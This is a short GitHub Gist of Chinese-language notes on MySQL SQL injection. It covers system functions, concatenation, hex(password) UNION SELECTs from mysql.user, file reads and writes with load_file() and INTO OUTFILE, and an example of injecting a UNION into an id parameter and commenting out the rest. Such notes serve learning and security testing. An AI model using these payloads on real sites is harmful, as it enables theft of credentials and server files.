Skip to content

Instantly share code, notes, and snippets.

@a1exlism
Last active March 21, 2018 11:23
Show Gist options
  • Save a1exlism/27c7d68b5d49065a3d03475b4d87c535 to your computer and use it in GitHub Desktop.
Save a1exlism/27c7d68b5d49065a3d03475b4d87c535 to your computer and use it in GitHub Desktop.
MySQL
系统数据:
user() 当前用户
database() 当前数据库
version() SQL版本号,最后为系统版本(nt-windows)
@@datadir 数据库路径
连接型:
concat() concat(username,0x3a, password))
group_concat() select group_concat(DISTINCT file_priv, user) from mysql.user; //多个用户情况下, 查看load_file()权限
concat_ws() 与上类似
编码:
hex(), unhex() 防止乱码 union select hex(password) from mysql.user `不需要select`
文件:
load_file() 需要文件读取权限, Linux版本的这个我还没法实现...Orz
select XXX into outfile YOURPATH
### 猜字段
存在的站点:xxxnews?id=1
>
SELECT 1,2,3,4 FROM news WHERE id=1 ORDER BY date DESC
注入之后
>
SELECT 1,2,3,4 FROM news WHERE id=]1 UNION SELECT 1,2,3,4 FROM admin [ORDER BY date DESC
admin 可能不存在date, 所以需要注释
>
SELECT 1,2,3,4 FROM news WHERE id=]1 UNION SELECT 1,2,3,4 FROM admin `-- / /*`[ORDER BY date DESC
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment